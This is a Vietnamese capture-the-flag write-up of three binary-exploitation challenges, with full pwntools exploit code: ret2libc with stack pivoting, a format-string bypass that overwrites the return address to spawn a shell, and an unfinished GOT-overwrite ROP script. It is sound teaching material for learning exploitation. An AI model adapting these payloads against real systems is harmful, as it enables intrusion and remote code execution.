# Tuyển thành viên ĐTATTT 2026 - Đây là những challenge mình đã solve được: ![image](https://hackmd.io/_uploads/HyRJDOwD-g.png) *** ## String Exercise ![image](https://hackmd.io/_uploads/rJCQd_PPZl.png) ### Pseudo Code - Ta sẽ dịch ngược code bằng IDA -main(): ```c= __int64 __fastcall main(int a1, char **a2, char **a3) { puts("Bai tap ve nha"); vuln(); return 0LL; } ``` -vuln(): ```c= int vuln() { char s[96]; // [rsp+0h] [rbp-60h] BYREF puts("Input: "); fgets(s, 112, stdin); puts("Output: "); return puts(s); } ``` ### Phân tích - Chương trình chỉ đơn giản của ta nhập và in ra chuỗi ta vừa nhập - Quan sát ida ta dễ dàng nhận ra bug buffer overflow cho phép nhập tối đa 111 byte và tự động thêm 1 byte null - Kiểm tra chế độ bảo vệ của file: ![image](https://hackmd.io/_uploads/HJQrA_wD-x.png) - No PIE và NO canary là rất hoàn hảo cho bof - Ta thấy ko có hàm lấy shell trực tiếp và kiểm tra các ROPgadget cũng ko có gadget syscall nên khả thi nhất của bài này ta sẽ dùng kĩ thuật Ret2libc để khai thác ![image](https://hackmd.io/_uploads/rkSdytPPWl.png) - Ta nhận thấy không gian thừa gian khá hạn hẹp nên khả năng phải stack pivot ra 1 vùng writable của file để việc exploit được thoải mái hơn ### Khai thác - Do author không cho sẵn file libc mà lại cho docker file nên ta sẽ build docker lên vào copy file từ docker được build - Ta chạy lần lượt các lệnh sau: ```shell= sudo docker build . -t test sudo docker run --rm -p13331:13331 --privileged -it test nc localhost 13331 ps aux # Xem PID cat /proc/<PID>/maps sudo docker ps sudo docker cp <Container ID>:/usr/lib/x86_64-linux-gnu/libc.so.6 . sudo docker cp <Container ID>:/usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 . ``` ![image](https://hackmd.io/_uploads/SJfyzFDD-x.png) - Sau đó ta patch vào file btvn bằng lệnh ```pwninit``` - Cách biến mình dùng: ``` offset = 0x68 vuln_addr = 0x401201 leave_ret = 0x00000000004011a3 pop_rdi = 0x000000000040119a ret = 0x000000000040101a rw_section = 0x404060 MAIN_ADDR = 0x40124A ``` #### Stage 1: Pivot to rw_section (fake_stack) - Đầu tiên, ta chọn 1 vùng có quyền rw làm gốc ``` rw_section = 0x404060 ``` - Ta dễ dàng tính toán được offset đến saved rbp là 96 - Setup payload để pivot sau quay về vuln ```py fake_stack = rw_section + 0x900 pl1 = b'A'*96 + p64(fake_stack + 0x60) + p64(vuln_addr) p.sendafter(b"Input: \n", pl1[:111]) ``` - **Tại sao là +0x900?** Khi hàm system() hoặc các hàm trong Libc chạy, chúng cần sử dụng stack để đẩy biến cục bộ. Nếu chọn BSS quá gần (ví dụ +0x00), stack của system sẽ mọc ngược (grow downwards) và ghi đè lên vùng GOT/PLT hoặc các section quan trọng khác, gây crash (SIGSEGV). Offset 0x900 đủ xa để an toàn (Đoạn này mình đã tham khảo Gemini). - Do hàm fgets nhận tối đa 112 bytes và tự động thêm null byte nên ta để cấu trúc stack fake của mình ko bị lệch(off-by-one) nên ta sẽ nhận 111bytes và tự thêm null thành 112. - Lúc này lần nhập sau sẽ bắt đầu từ địa chỉ 0x404960 #### Stage 2: Leak libc and Return to main - Sau khi có vùng rộng rãi rồi, ta sẽ rop để leak địa chỉ puts@got đồng thời pivot vào đúng đầu fake_stack. - Ta có payload ```py pl2 = flat( pop_rdi, exe.got.puts, exe.plt.puts, MAIN_ADDR ) pl2 += b'A' * (96 - len(pl2)) pl2 += p64(fake_stack - 8) pl2 += p64(leave_ret) p.sendafter(b"Input: \n", pl2.ljust(111, b'\0')[:111]) ``` ![image](https://hackmd.io/_uploads/S1jyy5wv-l.png) ![image](https://hackmd.io/_uploads/HyAZkcvvZl.png) ![image](https://hackmd.io/_uploads/H1oVJcDvZx.png) - Ta leak thôi: ```py p.recvuntil(b"Output: \n") p.recvline() leak = u64(p.recv(6).ljust(8, b'\0')) log.success("Leak puts: " + hex(leak)) libc.address = leak - libc.sym.puts log.info("Libc Base: " + hex(libc.address)) ``` - Kiểm tra ![image](https://hackmd.io/_uploads/HyrK1qPv-e.png) ![image](https://hackmd.io/_uploads/BJU51cvPbe.png) -> Thành công leak được libc_base #### Stage 3: Pivot to rw_section again - Khi quay về main, chương trình sẽ đưa stack về địa chỉ ban đầu, đưa ta lại lặp lại stage 1 đưa địa stack đến vùng writable rộng rãi. ```py pl3 = b'A'*96 pl3 += p64(fake_stack + 0x60) pl3 += p64(vuln_addr) p.sendafter(b"Input: \n", pl3[:111]) ``` #### Stage 4: Get shell - Ta dựng rop với chuỗi /bin/sh và system() trong libc ```py bin_sh = next(libc.search(b'/bin/sh')) system = libc.sym.system rop = flat( pop_rdi, bin_sh, system ) pl4 = rop pl4 += b'A' * (96 - len(pl4)) pl4 += p64(fake_stack - 8) pl4 += p64(leave_ret) p.sendafter(b"Input: \n", pl4.ljust(111, b'\0')[:111]) ``` - Tương tự Stage 2, pivot về đầu fake_stack(0x404900) để gọi shell - Kiểm tra: ![image](https://hackmd.io/_uploads/ry6sGqvD-x.png) -> Ngon gửi script lên server lấy flag thôi ![image](https://hackmd.io/_uploads/By6B7qDPWx.png) ***-> Đã chiếm được shell*** ``` Flag: InfosecPTIT{C4n_u_h3lp_m3_f1x_th1s_hom3w0rk_pl5??????} ``` ***Kỹ thuật khai thác:*** ``` Bug: Buffer Overflow Technique: StackPivot + Ret2libc ``` ### Full Script [github](https://github.com/d1nhdwc/CTF_competition/blob/main/InfoSECPTITCTF2026/1_String_Exercise/bin/solve.py) *** ## Dangerous Log ![image](https://hackmd.io/_uploads/ryUomqvv-x.png) ### Pseudo Code - Ta dịch ngược bằng IDA, quan sát Pseudo Code - Do file có cơ chế stripped nên mình đã rename lại các hàm cho dễ đọc: - Do source rất nhiều hàm nên mình chỉ điểm qua những hàm quan trọng và chứa bug -main(): ```c= __int64 __fastcall main(__int64 a1, char **a2, char **a3) { int loop; // [rsp+8h] [rbp-78h] char format[64]; // [rsp+10h] [rbp-70h] BYREF char new_format[40]; // [rsp+50h] [rbp-30h] BYREF unsigned __int64 v7; // [rsp+78h] [rbp-8h] v7 = __readfsqword(0x28u); init(); setup(format); shop(); banner(); loop = 1; while ( loop ) { if ( (unsigned int)ban_fmtstr(format) ) { puts("Invalid name!"); } else { snprintf(new_format, 31uLL, format); // bypass được ban_fmt thì in ra đc fmtstr fputs(new_format, stdout); } puts(&name); menu(); switch ( option() ) { case 0: puts("Exiting..."); loop = 0; break; case 1: show_inventory((__int64)format); break; case 2: buy_implant((__int64)format); break; case 3: Sell_implant((__int64)format); break; case 4: Change_player_name(format); break; default: puts("What are you talking about?!"); break; } } cleanup((__int64)format); return 0LL; } ``` -ban_fmtstr(): ```c= __int64 __fastcall ban_fmtstr(char *buf) { int i; // [rsp+14h] [rbp-4h] for ( i = 0; buf[i]; ++i ) { if ( buf[i] == '%' ) { ++i; while ( buf[i] > '/' && buf[i] <= '9' ) ++i; if ( buf[i] == '$' ) ++i; while ( buf[i] && (buf[i] == '{' || buf[i] == '}' || buf[i] == '*' || buf[i] > '/' && buf[i] <= '9' || buf[i] == '.' || buf[i] == '-' || buf[i] == '+' || buf[i] == '#') ) ++i; if ( buf[i] == 'c' || buf[i] == 'p' ) return 1LL; } } return 0LL; } ``` -Change_name(): ```c= ssize_t __fastcall Change_player_name(void *a1) { printf("Enter your name: "); return read(0, a1, 31uLL); } ``` - Những hàm còn lại như print_shop, show_inventory, buy_implant, sell_implant, ... nó chỉ đơn thuần thực hiện đúng nhiệm vụ. Có thể nó chứa bug nhưng cách exploit của mình không dùng đến nên mình sẽ không đưa vào writeup. ### Phân tích - Chương trình cho ta thao thác với 1 menu shop gồm các option: show, buy, sell, change_name - Quan sát ida thì ta thấy trước khi được đưa ra lựa chọn option, ta sẽ được kiểm tra chỗi format với hàm ban_fmtstr - Quan sát hàm này ta thấy đúng thật là nó đã chặn ta sử dụng các kí tự hữu ích để format string như %$p, %c, +, -, {},... -> Nhưng dễ dàng thấy được hàm này tương đối lỏng lẻo, ta vẫn hoàn toàn có thể dùng fmtstr với %x và padding với %1x, và ghi đè bằng %n. - Ta thấy chương trình dùng hàm snprintf để tạo string mới dùng chuỗi format làm format kết hợp với hàm fputs ngay sau ta có bug format string tại đây. ![image](https://hackmd.io/_uploads/r1sGbovDZg.png) - Ta sẽ đi tìm hàm nhập chuỗi format này -> dùng option 4 ```c= ssize_t __fastcall Change_player_name(void *a1) { printf("Enter your name: "); return read(0, a1, 31uLL); } ``` **-> Ta sẽ tận dụng triệt để bug này để lấy shell** ### Khai thác - Kiểm tra các chế độ bảo vệ của file: ![image](https://hackmd.io/_uploads/r1flLivPbl.png) -> FULL giáp vậy, ta phải leak hết "mọi thứ" - Do author không cho sẵn file libc mà lại cho docker file nên ta sẽ build docker lên vào copy file từ docker được build - Ta chạy lần lượt các lệnh sau: ```shell= sudo docker build . -t test sudo docker run --rm -p13333:13333 --privileged -it test nc localhost 13331 ps aux # Xem PID cat /proc/<PID>/maps sudo docker ps sudo docker cp <Container ID>:/usr/lib/x86_64-linux-gnu/libc.so.6 . sudo docker cp <Container ID>:/usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 . ``` ![image](https://hackmd.io/_uploads/rJes-6DPbe.png) - Sau đó ta patch vào file btvn bằng lệnh ```pwninit``` - Do là dùng option 4 rất nhiều lần, nên để thuận tiện mình sẽ tạo 1 hàm chuyên dùng để gửi dữ liệu với option 4 ```py def change_name(payload): p.sendlineafter(b"> ", str(4).encode()) p.sendlineafter(b"name: ", payload) ``` #### Stage 1: Leak exe_base, stack_address, libc_base - Oke, đầu tiên, mình sẽ leak 1 stack bất kì trước, leak được stack address thì tính luôn stack mà trỏ đến saved rip - Ta sẽ leak tại % thứ 23 bằng %llx ![image](https://hackmd.io/_uploads/B1_aEjDP-g.png) -> Stack_rip = Stack_leak - 0x120 ```python fmt = b"%23$llx" change_name(fmt) stack_leak = int(p.recvline(), 16) #rbp+0x18 stack_rip = stack_leak - 0x120 log.info("stack_rip: " + hex(stack_rip)) ``` - Kiểm tra: ![image](https://hackmd.io/_uploads/ByvHUsDDbx.png) ![image](https://hackmd.io/_uploads/H1d88svPZg.png) -> Thành công - Làm tương tự với exe và libc để tính và tính luôn địa chỉ base của nó tại idx 25 và 21. ![image](https://hackmd.io/_uploads/BkLmvsDvWg.png) ```python fmt = b"%21$llx" change_name(fmt) libc_leak = int(p.recvline(), 16) log.info("libc_leak: " + hex(libc_leak)) libc.address = libc_leak - 0x2a1ca log.info("libc_base: " + hex(libc.address)) fmt = b"%25$llx" change_name(fmt) exe_leak = int(p.recvline(), 16) log.info("exe_leak: " + hex(exe_leak)) exe.address = exe_leak - 0x1b1a log.info("exe_base: " + hex(exe.address)) ``` - Kiểm tra: ![image](https://hackmd.io/_uploads/BynwwjvD-l.png) ![image](https://hackmd.io/_uploads/BkuOvswwWg.png) -> Đã có "mọi thứ" #### Stage 2: Get shell - Ta có các gadget của libc để thuận tiện exploit ```python pop_rdi = libc.address + 0x000000000010f78b ret_gadget = libc.address + 0x000000000002882f bin_sh = next(libc.search(b"/bin/sh")) system_addr = libc.sym.system ``` - Do ta không thể bof trực tiếp được vì trực nhập cho nhập khá hạn chế byte -> ko thể ret2libc, cũng như là Full RELRO -> ko thể ghi đè GOT - Vậy, ta sẽ tận dụng stack_rip ta đã leak để ghi đè địa chỉ với mô hình ret2libc: ![image](https://hackmd.io/_uploads/rJ54NnvwZe.png) - Ta sẽ ghi đè đủ 6 byte cho từng địa chỉ, ta sẽ tự định nghĩa 1 hàm tự động ghi đè như sau: ```python def overwrite(address_val, target_stack_addr): for i in range(3): part = (address_val >> (16 * i)) & 0xffff current_target = target_stack_addr + (i * 2) fmt = f"%1${part}x%{8}$hn".encode() fmt = fmt.ljust(16, b'A') fmt += p64(current_target) change_name(fmt) ``` - Nguyên lý hoạt động: Hàm này sẽ tự động tính toán phần ghi đè để ghi đè 6 bytes với địa chỉ được cung cấp. - Ghi tại % thứ 8 từ stack, do đó ta sẽ cố định vị trí bằng việc dùng ljust với format sao cho đủ 16 bytes để địa chỉ ghi đè ko bị lệch. - Rồi, ta chỉ cần lần lượt ghi đè như chiến lược trên thôi: ```py # 1. POP RDI; RET overwrite(pop_rdi, stack_rip) # 2. Address of "/bin/sh" overwrite(bin_sh, stack_rip + 0x8) # 3. RET overwrite(ret_gadget, stack_rip + 0x10) # 4. System overwrite(system_addr, stack_rip + 0x18) ``` - Kiểm tra: ![image](https://hackmd.io/_uploads/H1URInDvZg.png) -> Tuyệt vời, giờ ta chỉ đơn giản là exit chương trình ra và tận hưởng cảm giác second solve =)) - Remote sever: ![image](https://hackmd.io/_uploads/rJKpDnPw-l.png) ***->Đã chiếm được shell*** ```Flag: InfosecPTIT{nhh_sh0pp1ng_4t_cyb3rsh0p_0x804}``` ![image](https://hackmd.io/_uploads/ByHuD3DwZe.png) ***Kỹ thuật khai thác:*** ``` Bug: Format String Technique: Overwrite stack ``` ### Full script [github](https://github.com/d1nhdwc/CTF_competition/blob/main/InfoSECPTITCTF2026/3_Dangerous_Log/bin/solve.py) *** ## ROP ![image](https://hackmd.io/_uploads/Hkejo3PPbx.png) ### Pseudo Code -main(): ```c= int __fastcall main(int argc, const char **argv, const char **envp) { setvbuf(_bss_start, 0LL, 2, 0LL); setvbuf(stdin, 0LL, 2, 0LL); vuln(); return 0; } ``` -vuln(): ```c= ssize_t vuln() { char buf[64]; // [rsp+0h] [rbp-40h] BYREF return read(0, buf, 512uLL); } ``` ### Yapping **Do challenge mình chưa exploit được nhưng khi nào thành công mình sẽ viết tiếp wu vào đây =))** *- Phân tích:* - Đây là 1 chương trình quá "sạch" theo đúng nghĩa đen luôn, ko có gì cả, ko có bất kì hàm nào để get_shell hay để leak địa chỉ, cũng ko có các gadget hữu ích như pop rdi, hay syscall - Chỉ duy nhất ta có là 1 lỗi buffer overflow đập thẳng vào mặt với kích thước khai báo dư rất nhiều và 1 vài hàm setvbuf để thiết lập bộ đệm tưởng chừng như vô hại *- Ý tưởng ban đầu:* - Idea: Chia làm 2 bước chính là leak libc_base và get shell - Do quá "sạch" nên ta phải tận dụng bất cứ thứ gì thứ gì tưởng chừng như vô hại nhất, và target ở đây là hàm setvbuf - Đầu tiên ta sẽ pivot để nhập địa chỉ với hàm read ra chỗ khác để thiết lập cho dễ - Sau đó ta sẽ ghi đè vào con trỏ hàm setvbuf thành hàm puts, đồng thời quay về chính hàm vuln này -> mục đích vừa leak được libc vừa tiếp tục triển khai ghi đè lần sau - Tiếp theo ta ghi đè vào con trỏ stdin thành stdin+8 do nó trỏ tiếp 1 địa chỉ libc và đồng thời quay lại hàm main để gọi setvbuf(stdin, ..., ...) - Lúc này vai trò của setvbuf sẽ tương đương với puts(stdin+8) để ta thuận tiện leak libc - Sau khi có được libc_base rồi thì 99% bài này sẽ được solve rồi vì việc còn lại chỉ đơn giản là ret2libc Do quá trình khai thác vẫn chưa xong thì giải end, nên mình patse tạm cái script dở dang ra vậy=(( ```python #!/usr/bin/env python3 from pwn import * PORT = 0000 HOST = "000000000" exe = context.binary = ELF('./vuln_patched', checksec=False) libc = ELF('./libc.so.6', checksec=False) # ld = ELF('', checksec=False) def GDB(): if not args.r: gdb.attach(p, gdbscript=''' b*0x0000000000401179 c set follow-fork-mode parent ''') input() if len(sys.argv) > 1 and sys.argv[1] == 'r': p = remote(HOST, PORT) else: p = exe.process() GDB() puts_low_2bytes = p16(libc.sym.puts & 0xFFFF) log.info(f"Puts low bytes: {hex(u16(puts_low_2bytes))}") SETVBUF_GOT = exe.got.setvbuf READ_GOT = exe.got.read MAIN_SYM = exe.sym.main READ_GADGET = 0x000000000401162 pl = flat( b"A"*0x40, 0x404060, READ_GADGET ) p.send(pl) payload_setup = flat({ 0: SETVBUF_GOT, 16: SETVBUF_GOT, 48: MAIN_SYM, 64: 0x404048, 72: READ_GADGET }) p.send(payload_setup) input("ENTER") p.send(puts_low_2bytes) p.interactive() ``` ## Thanks for Reading <3